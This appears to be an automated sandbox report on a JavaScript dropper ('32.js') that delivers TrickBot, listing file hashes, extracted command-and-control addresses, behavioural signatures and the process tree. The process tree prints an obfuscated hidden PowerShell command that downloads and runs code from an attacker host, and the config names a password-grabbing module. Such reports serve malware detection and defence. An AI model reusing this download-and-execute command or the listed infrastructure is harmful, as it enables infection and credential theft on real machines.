Analysis
-
max time kernel
134s -
max time network
141s -
platform
windows10_x64 -
resource
win10v20210410 -
submitted
20-07-2021 16:24
Static task
static1
Behavioral task
behavioral1
Sample
32.js
Resource
win7v20210410
General
-
Target
32.js
-
Size
463KB
-
MD5
8f545d23b3544ed3e79ac481de6d2e35
-
SHA1
2232a67e54f505fbd1d70ae0e18db1f8ed0b307d
-
SHA256
97e2a97f378f9af38427493fb965461310ee42dd8d74725223073b8fd0f77e65
-
SHA512
ef0df34055533efc390798bfe0c3875f0bfb5a975012ff77915e4f64c21e4eaf0abdbdeac4d85c74c73dbac9c6744cf4dbe905dc44d089179969516be804d1be
Malware Config
Extracted
http://109.248.201.26/lovemetertok.php
Extracted
trickbot
100018
rob109
38.110.103.124:443
185.56.76.28:443
204.138.26.60:443
60.51.47.65:443
74.85.157.139:443
68.69.26.182:443
38.110.103.136:443
38.110.103.18:443
138.34.28.219:443
185.56.76.94:443
217.115.240.248:443
24.162.214.166:443
80.15.2.105:443
154.58.23.192:443
38.110.100.104:443
45.36.99.184:443
185.56.76.108:443
185.56.76.72:443
138.34.28.35:443
97.83.40.67:443
38.110.103.113:443
38.110.100.142:443
184.74.99.214:443
103.105.254.17:443
62.99.76.213:443
82.159.149.52:443
38.110.100.33:443
38.110.100.242:443
185.13.79.3:443
-
autorunName:pwgrabbName:pwgrabc
Signatures
-
Blocklisted process makes network request 2 IoCs
Processes:
powershell.exeflow pid process 10 3676 powershell.exe 11 3676 powershell.exe -
Downloads MZ/PE file
-
Loads dropped DLL 1 IoCs
Processes:
rundll32.exepid process 2044 rundll32.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
-
Suspicious behavior: EnumeratesProcesses 3 IoCs
Processes:
powershell.exepid process 3676 powershell.exe 3676 powershell.exe 3676 powershell.exe -
Suspicious use of AdjustPrivilegeToken 2 IoCs
Processes:
powershell.exewermgr.exedescription pid process Token: SeDebugPrivilege 3676 powershell.exe Token: SeDebugPrivilege 3992 wermgr.exe -
Suspicious use of WriteProcessMemory 16 IoCs
Processes:
wscript.execmd.exepowershell.exerundll32.exerundll32.exedescription pid process target process PID 3992 wrote to memory of 2664 3992 wscript.exe cmd.exe PID 3992 wrote to memory of 2664 3992 wscript.exe cmd.exe PID 2664 wrote to memory of 3676 2664 cmd.exe powershell.exe PID 2664 wrote to memory of 3676 2664 cmd.exe powershell.exe PID 3676 wrote to memory of 1380 3676 powershell.exe rundll32.exe PID 3676 wrote to memory of 1380 3676 powershell.exe rundll32.exe PID 1380 wrote to memory of 2044 1380 rundll32.exe rundll32.exe PID 1380 wrote to memory of 2044 1380 rundll32.exe rundll32.exe PID 1380 wrote to memory of 2044 1380 rundll32.exe rundll32.exe PID 2044 wrote to memory of 512 2044 rundll32.exe cmd.exe PID 2044 wrote to memory of 512 2044 rundll32.exe cmd.exe PID 2044 wrote to memory of 512 2044 rundll32.exe cmd.exe PID 2044 wrote to memory of 3992 2044 rundll32.exe wermgr.exe PID 2044 wrote to memory of 3992 2044 rundll32.exe wermgr.exe PID 2044 wrote to memory of 3992 2044 rundll32.exe wermgr.exe PID 2044 wrote to memory of 3992 2044 rundll32.exe wermgr.exe
Processes
-
C:\Windows\system32\wscript.exewscript.exe C:\Users\Admin\AppData\Local\Temp\32.js1⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c poWERshEll -nop -w hidden -ep bypass -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAOgAvAC8AMQAwADkALgAyADQAOAAuADIAMAAxAC4AMgA2AC8AbABvAHYAZQBtAGUAdABlAHIAdABvAGsALgBwAGgAcAAiACkA2⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepoWERshEll -nop -w hidden -ep bypass -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAOgAvAC8AMQAwADkALgAyADQAOAAuADIAMAAxAC4AMgA2AC8AbABvAHYAZQBtAGUAdABlAHIAdABvAGsALgBwAGgAcAAiACkA3⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\rundll32.exe"C:\Windows\System32\rundll32.exe" C:\Users\Admin\AppData\Local\Temp\ouFgbCSyBdXRVY.bin,StartW4⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\rundll32.exe"C:\Windows\System32\rundll32.exe" C:\Users\Admin\AppData\Local\Temp\ouFgbCSyBdXRVY.bin,StartW5⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe6⤵
-
C:\Windows\system32\wermgr.exeC:\Windows\system32\wermgr.exe6⤵
- Suspicious use of AdjustPrivilegeToken
Network
MITRE ATT&CK Matrix ATT&CK v6
Replay Monitor
Loading Replay Monitor...
Downloads
-
C:\Users\Admin\AppData\Local\Temp\ouFgbCSyBdXRVY.binMD5
771904cb1370dbdbf1f21890bb9d813d
SHA1411391b57853292afcef2c1f511deb269f7ec370
SHA2562d2b38575d79d53bbb22ef7663a7065a915b7eb37a6dd2e1b1163b59af2bcb92
SHA51206785438ea8bfeb812395965b0e53dbbadf7c57b97f6e0691d13a2b6f41156bffb23efb30e4237dd7a048060b37da38d4fcfe44bf9126ef299073c94103c3e19
-
\Users\Admin\AppData\Local\Temp\ouFgbCSyBdXRVY.binMD5
771904cb1370dbdbf1f21890bb9d813d
SHA1411391b57853292afcef2c1f511deb269f7ec370
SHA2562d2b38575d79d53bbb22ef7663a7065a915b7eb37a6dd2e1b1163b59af2bcb92
SHA51206785438ea8bfeb812395965b0e53dbbadf7c57b97f6e0691d13a2b6f41156bffb23efb30e4237dd7a048060b37da38d4fcfe44bf9126ef299073c94103c3e19
-
memory/1380-136-0x0000000000000000-mapping.dmp
-
memory/2044-149-0x0000000004AE0000-0x0000000004B24000-memory.dmpFilesize
272KB
-
memory/2044-150-0x00000000046F0000-0x00000000046F1000-memory.dmpFilesize
4KB
-
memory/2044-151-0x0000000004640000-0x00000000046CE000-memory.dmpFilesize
568KB
-
memory/2044-148-0x0000000004640000-0x00000000046CE000-memory.dmpFilesize
568KB
-
memory/2044-146-0x0000000004AA0000-0x0000000004AD7000-memory.dmpFilesize
220KB
-
memory/2044-144-0x0000000004A60000-0x0000000004A99000-memory.dmpFilesize
228KB
-
memory/2044-138-0x0000000000000000-mapping.dmp
-
memory/2044-141-0x00000000046A0000-0x00000000046DB000-memory.dmpFilesize
236KB
-
memory/2664-114-0x0000000000000000-mapping.dmp
-
memory/3676-115-0x0000000000000000-mapping.dmp
-
memory/3676-121-0x000002E0795A0000-0x000002E0795A1000-memory.dmpFilesize
4KB
-
memory/3676-128-0x000002E079750000-0x000002E079751000-memory.dmpFilesize
4KB
-
memory/3676-135-0x000002E05EF96000-0x000002E05EF98000-memory.dmpFilesize
8KB
-
memory/3676-134-0x000002E05EF93000-0x000002E05EF95000-memory.dmpFilesize
8KB
-
memory/3676-133-0x000002E05EF90000-0x000002E05EF92000-memory.dmpFilesize
8KB
-
memory/3992-152-0x0000000000000000-mapping.dmp
-
memory/3992-154-0x000001D9126A0000-0x000001D9126A1000-memory.dmpFilesize
4KB
-
memory/3992-153-0x000001D912590000-0x000001D9125B8000-memory.dmpFilesize
160KB